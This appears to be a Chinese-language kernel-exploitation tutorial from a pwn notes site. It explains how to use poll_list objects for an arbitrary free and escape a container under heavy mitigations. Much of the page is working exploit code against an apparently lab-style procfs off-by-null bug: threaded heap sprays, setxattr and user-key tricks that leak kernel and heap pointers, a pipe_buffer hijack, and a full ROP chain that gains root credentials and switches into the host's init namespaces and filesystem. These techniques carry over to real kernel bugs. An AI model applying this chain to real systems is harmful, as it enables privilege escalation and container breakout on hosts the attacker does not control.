> For the complete documentation index, see [llms.txt](https://lightc.gitbook.io/pwn-gitbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lightc.gitbook.io/pwn-gitbook/kpwn/kpwn-tricks/polllist-rong-qi-tao-yi.md).

# poll\_list容器逃逸

在禁用msg\_msg结构体、userfaultfd、io\_uring、nftables、modprobe\_path、namespace隔离限制、slab强化时如何完成利用呢

**poll\_list**

该结构可在容器内部直接使用，无需满足任何特定条件

poll()系统调用用来监控一个或多个文件描述符上的活动，poll\_list对象会在内核空间中被分配

```c
int poll(struct pollfd fds[], nfds_t nfds, int timeout);

struct pollfd {
    int   fd;
    short events;
    short revents;
};

struct poll_list {
    struct poll_list *next; // [1]
    int len; // [2]
    struct pollfd entries[]; // [3]
};
```

poll()->do\_sys\_poll()

```c
#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096

#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))

#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / \
            sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
        struct timespec64 *end_time)
{

    struct poll_wqueues table;
    int err = -EFAULT, fdcount, len;
    /* Allocate small arguments on the stack to save memory and be
        faster - use long to make sure the buffer is aligned properly
        on 64 bit archs to avoid unaligned access */
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; // [1]
    struct poll_list *const head = (struct poll_list *)stack_pps;
    struct poll_list *walk = head;
    unsigned long todo = nfds;

    if (nfds > rlimit(RLIMIT_NOFILE))
        return -EINVAL;

    len = min_t(unsigned int, nfds, N_STACK_PPS); // [2]

    for (;;) {
        walk->next = NULL;
        walk->len = len;
        if (!len)
            break;

        if (copy_from_user(walk->entries, ufds + nfds-todo,
                    sizeof(struct pollfd) * walk->len))
            goto out_fds;

        todo -= walk->len;
        if (!todo)
            break;

        len = min(todo, POLLFD_PER_PAGE); // [3]
        walk = walk->next = kmalloc(struct_size(walk, entries, len),
                        GFP_KERNEL); // [4]
        if (!walk) {
            err = -ENOMEM;
            goto out_fds;
        }
    }

    poll_initwait(&table);
    fdcount = do_poll(head, &table, end_time); // [5]
    poll_freewait(&table);

    if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
        goto out_fds;

    for (walk = head; walk; walk = walk->next) {
        struct pollfd *fds = walk->entries;
        int j;

        for (j = walk->len; j; fds++, ufds++, j--)
            unsafe_put_user(fds->revents, &ufds->revents, Efault);
    }
    user_write_access_end();

    err = fdcount;
out_fds:
    walk = head->next;
    while (walk) { // [6]
        struct poll_list *pos = walk;
        walk = walk->next;
        kfree(pos);
    }

    return err;

Efault:
    user_write_access_end();
    err = -EFAULT;
    goto out_fds;
}
```

`do_sys_poll()` 有两条路径：慢路径和快路径。

从函数开头可以看到，定义了一个 256 字节的缓冲区 `stack_pps` \[1]，用于存储前 30 个 `pollfd` 条目\[2]。这就是快路径：将条目存储在栈上以节省内存并提升速度。

如果我们提交超过 30 个 `pollfd` 条目，就会进入慢速路径，剩余的条目将在内核堆上分配。这意味着，只要计算得当，通过控制被监控文件描述符的数量，我们就能控制分配的大小，范围从 kmalloc-32 到 kmalloc-4k。\[4]

每页最多可分配 POLLFD\_PER\_PAGE（510）个条目。\[3] 若超出此限制，则会分配新的 `poll_list` 来存储剩余条目，并通过单向链表与前一节点相连。for 循环将持续执行，直至所有条目均被存入内核内存。例如，假设我们调用 `poll()` 并向系统调用提供 510 + 1 个文件描述符。在内核空间中，这会导致在 kmalloc-4k 中分配一个包含 510 个条目的 `poll_list` ，以及在 kmalloc-32 中分配另一个仅含单个条目的 `poll_list` 。这些结构通过单向链表连接。

在所有 `poll_list` 对象分配完成后，会调用 do\_poll()函数：该函数将监控提供的文件描述符，直到特定事件发生或定时器超时。\[5] 这里的 `end_time` 变量，对应我们作为第三个参数传递给 `poll()` 系统调用的 `timeout` 变量。

这意味着 `poll_list` 对象可以在内存中保留任意时长，当定时器到期时，它们会被自动释放。

最有趣的部分在于 `poll_list` 结构的释放方式：通过一个 while 循环遍历单向链表，逐个释放每个节点。\[6] 现在让我们从攻击者的角度审视现有条件。

我们拥有一个可在多个缓存（从 kmalloc-32 到 kmalloc-4k）中分配的结构体，其 `next` 字段（第一个 QWORD）指向的对象会在我们可控的定时器到期时自动释放。这意味着，借助越界写入或释放后使用写入原语，我们可以用目标对象的地址覆盖 `poll_list` 结构的 `next` 字段，当定时器触发时，该目标对象将被自动释放。

唯一的限制是：目标对象的第一个 QWORD 必须为 NULL，否则 while 循环会将其视为有效指针并尝试访问。这并非难题——我们可以使用未对齐的释放原语，或直接选择第一个 QWORD 为零的对象作为目标。

在 kmalloc-4k 的具体场景中，如果 `poll_list->next` 字段已包含指向另一个 `poll_list` 的有效指针，我们可以通过部分覆盖（甚至只需一个字节）来破坏该指针，使其指向 slab 中的另一个对象。当定时器到期时，内核将被欺骗释放错误的对象。这正是我们在漏洞利用中将要实现的操作。

以下代码可用于在内核空间中分配 `poll_list` 结构体。需要注意的是，由于 `poll()` 系统调用会阻塞直到特定事件发生或定时器超时，因此我们需要使用线程来喷射该对象。

```c
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);


pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;


struct t_args
{
    int id;
    int nfds;
    int timeout;
};


void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timeout, id;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timeout = ((struct t_args *)args)->timeout;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    //printf("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timeout);
    //printf("[Thread %d] Polling complete: %d!\n", id, ret); 
}


void create_poll_thread(int id, size_t size, int timeout)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timeout = timeout;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
        pthread_join(poll_tid[i], NULL);
        
    poll_threads = 0;
}

[...]

fds[i] = open("/etc/passwd", O_RDONLY);

for (int i = 0; i < 8; i++)
    create_poll_thread(i, 4096 + 32, 3000);

join_poll_threads();

[...]
```

我们需要选择一个目标结构，一旦被任意释放，就可以被破坏，并为我们提供越界读取原语，进而实现信息泄露。Linux 内核中有多个弹性对象可以实现这一目的。一个不错的候选是 simple\_xattr，但我们需要目标对象的第一个 QWORD 为 NULL，因此无法使用它。由于 `add_key()` 和 `keyctl()` 未被 seccomp 阻止，我们可以选择 user\_key\_payload 作为替代。

该结构的问题在于，其第一个成员 `struct rcu_head rcu` 未被初始化，且由于该结构通过 kmalloc 分配，第一个 QWORD 可能不为 NULL。一个实用的解决方案来自 setxattr()：我们可以在分配每个用户密钥之前，用它来将内存块填充为零。

```c
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
        size_t size, int flags)
{
    [...]
    
    if (size > XATTR_SIZE_MAX)
        return -E2BIG;
    kvalue = kvmalloc(size, GFP_KERNEL); // [1]
    if (!kvalue)
        return -ENOMEM;
    if (copy_from_user(kvalue, value, size)) { // [2]
        error = -EFAULT;
        goto out;
    }
    
    [...]

out:
    kvfree(kvalue); // [3]

    return error;
}
```

利用 `setxattr()` 功能，我们可以分配任意大小的内存块 \[1] 并用任意数据填充 \[2]，随后该内存块会被自动释放 \[3]。我们可以利用此功能确保 `user_key_payload` 中未初始化的成员实际为零。

我们只需在 `alloc_key()` 之前调用 `setxattr()` ：由于空闲列表的后进先出特性，当 `setxattr()` 使用的内存块被分配、填充零并释放后，该内存块将被用户密钥重新使用。这样我们就能确保第一个 QWORD 被设置为 NULL。

```c
[...]

assign_to_core(0); // [1]

for (int i = 0; i < 2048; i++) // [2]
    alloc_seq_ops(i);

for (int i = 0; i < 72; i++)
{   
    setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
    keys[i] = alloc_key(n_keys++, key, 32); // [3]
}

for (int i = 0; i < 14; i++)
    create_poll_thread(i, 4096 + 24, 3000, false); // [4]

for (int i = 72; i < MAX_KEYS; i++) 
{
    setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
    keys[i] = alloc_key(n_keys++, key, 32); // [5]
}

[...]
```

首先，我们使用 `assign_to_core()` （一个 sched\_setaffinity() 封装函数）将当前进程绑定到核心 0，因为我们在多核环境下工作，而 slab 是每个 CPU 独立的。\[1] 接着，我们在 kmalloc-32 中大量喷洒 seq\_operations 结构体以填满部分 slab，这样后续的内存分配将落在一个全新的 slab 中。\[2]

我们使用 `alloc_key()` （一个简单的 `add_key()` 封装器）在 kmalloc-32 中喷洒大量 `user_key_payload` 结构体。\[3] 如上所述，我们利用 `setxattr()` 确保在分配新的用户密钥之前，该内存块确实已被清零。

现在我们终于将 `poll_list` 结构喷洒在 kmalloc-4k 中，并通过 kmalloc-32 中的 `poll_list` 将它们串联起来。\[4]我们可以继续在 kmalloc-32 中喷洒更多用户密钥，以完全填满该 slab。\[5]

我们准备触发 Off-By-Null 漏洞，劫持 `poll_list` `next` 指针并触发任意释放：

```c
[...]

write(fd, data, PAGE_SIZE); // [1]

join_poll_threads(); // [2]

[...]
```

我们可以通过向 CoRMon 的 procfs 接口写入 4096 字节来触发 kmalloc-4k 中分配一个内存块。\[1] 这还会导致一个空字节被写入边界之外，从而破坏内存中的下一个对象。由于我们在 kmalloc-4k 中喷洒了 `poll_list` 结构体，且每个结构体都包含一个指向 kmalloc-32 中 `poll_list` 的指针，因此我们将能够破坏其中一个指针，使其指向我们在上一步中喷洒的用户密钥之一。

现在我们可以使用 `join_poll_threads()` 并等待定时器到期， `poll_list` 对象会被自动释放。\[2] 其中一个 `user_key_payload` 也会被释放。

我们造成了一个释放后使用（Use-After-Free）的情况。现在需要利用它来破坏用户密钥，从而获得越界读取（Out-Of-Bounds Read）

```c
[...]

for (int i = 2048; i < 2048 + 128; i++)
    alloc_seq_ops(i); // [1]

if (leak_kernel_pointer() < 0) // [2]
{
    puts("[X] Kernel pointer leak failed, try again...");
    exit(1);
}

free_all_keys(true); // [3]

for (int i = 0; i < 72; i++)
    alloc_tty(i); // [4]

if (leak_heap_pointer(corrupted_key) < 0) // [5]
{
    puts("[X] Heap pointer leak failed, try again...");
    exit(1);
}

[...]
```

首先，我们在 kmalloc-32 中喷洒大量 seq\_operations 结构体。其中一个会覆盖上一步释放的用户密钥，用 single\_next 指针的低两个字节破坏其 `len` 字段（一个无符号短整型）。

在我们的案例中， `single_next` 的低两位字节为 `0x4330` ，这将为我们提供一个巨大的越界读取原语。而一个 proc\_single\_show()指针则会覆盖用户密钥数据字段中的第一个四字。\[1]

现在我们可以利用 `leak_kernel_pointer()` 遍历所有键，直到泄露 `proc_single_show` 地址，这样就能识别出被损坏的键，并计算出内核基址。\[2]接下来我们需要复用越界读取原语来泄露一个堆地址。

当我们打开一个 ptmx 时，会分配两个我们感兴趣的结构体：众所周知的 tty\_struct（位于 kmalloc-1024）和另一个 tty\_file\_private（位于 kmalloc-32）。每个 `tty_file_private` 结构体都包含一个指向对应 `tty_struct` 的指针，因此我们可以利用它来泄露 kmalloc-1024 中某个对象的地址

我们可以释放 kmalloc-32 中所有键，\[3] 除了被损坏的那个，并用 `tty_file_private` 结构体替换它们。\[4] 然后调用 `leak_heap_pointer()` ，利用越界读取原语泄露 `tty_struct` 地址。\[5]

```c
[...]

for (int i = 2048; i < 2048 + 128; i++)
    free_seq_ops(i); // [1]

for (int i = 0; i < 192; i++)
    create_poll_thread(i, 24, 3000, true); // [2]

free_key(corrupted_key); // [3]
sleep(1); // GC key

*(uint64_t *)&data[0] = target_object - 0x18; // [4]

for (int i = 0; i < MAX_KEYS; i++)
{
    setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
    keys[i] = alloc_key(n_keys++, key, 32); // [5]
}

[...]
```

首先，我们释放了 kmalloc-32 中的所有 `seq_operations` 结构\[1]，然后用 `poll_list` 对象替换它们\[2]。请注意，用于破坏用户密钥的 `seq_operations` 结构也被释放，并被 `poll_list` 结构替换。

现在我们释放被损坏的密钥，导致 `poll_list` 出现释放后使用的情况。\[3] 为了利用这个释放后使用漏洞，我们复用第一阶段使用的 `setxattr()` 技巧，但这次不是将内存块清零，而是将其第一个四字组设置为 `target object - 0x18` 字节 \[4]，然后分配一个 `user_key_payload` 结构体，将 setxattr 缓冲区在内存中整合

换句话说，由于函数返回时 `setxattr` 使用的内存块会被自动释放，我们分配一个用户密钥（注意， `user_key_payload` 结构的第一个成员未被初始化）来防止刚通过 setxattr 设置的第一个 QWORD 被后续的内存分配覆盖。\[5]

这样，我们将用 `target - 0x18` 字节覆盖 kmalloc-32 中 `poll_list` 结构的 `next` 字段。

```c
[...]

for (int i = 0; i < 72; i++)
    free_tty(i); // [1]

sleep(1); // GC TTYs

for (int i = 0; i < 1024; i++)
    alloc_pipe_buff(i); // [2]

[...]

free_all_keys(false);

for (int i = 0; i < 31; i++)
    keys[i] = alloc_key(n_keys++, buff, 600); // [3]

for (int i = 0; i < 1024; i++)
    release_pipe_buff(i); // [4]

[...]
```

我们继续释放所有 TTY\[1]，并喷射 `pipe_buffer` 对象\[2]。这样，我们就在 kmalloc-1024 中将所有 `tty_struct` 替换为 `pipe_buffer` 。然后，等待定时器超时，被损坏的 `poll_list` 的 `next` 字段所指向的 `pipe_buffer` 对象会被自动释放。

最后，我们释放所有用户密钥，并在 kmalloc-1024 中重新分配它们：利用这些密钥来喷洒我们的 ROP 链。\[3] 其中一个密钥载荷将破坏目标 `pipe_buffer` ，用栈迁移gadget覆盖 anon\_pipe\_buf\_ops 指针。

现在我们只需关闭所有管道，触发对 pipe\_release()的调用。\[4] 这将执行我们的栈迁移 gadget，最终我们就能劫持控制流。

**逃逸容器rop**

```c
buff = (char *)calloc(1, 1024);

// Stack pivot    [1]
*(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops
*(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
*(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
*(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

// ROP
rop = (uint64_t *)&buff[0x80];

// creds = prepare_kernel_cred(0)   [2]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 0;                                // 0
*rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred

// commit_creds(creds)    [3]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0;                                // 0
*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_base + 0xffffffff810eba40; // commit_creds

// task = find_task_by_vpid(1)    [4]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 1;                                // pid
*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

// switch_task_namespaces(task, init_nsproxy)    [5]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0;                                // 0
*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
*rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
*rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces

// new_fs = copy_fs_struct(init_fs)    [6]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= kernel_base + 0xffffffff82589740; // init_fs;
*rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
*rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

// current = find_task_by_vpid(getpid())    [7]
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= getpid();                         // pid
*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

// current->fs = new_fs    [8]
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0x6e0;                            // current->fs
*rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
*rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
*rop ++= 0;                                // rbx

// kpti trampoline    [9]
*rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
*rop ++= 0;
*rop ++= 0;
*rop ++= (uint64_t)&win;
*rop ++= usr_cs;
*rop ++= usr_rflags;
*rop ++= (uint64_t)(stack + 0x5000);
*rop ++= usr_ss;
```
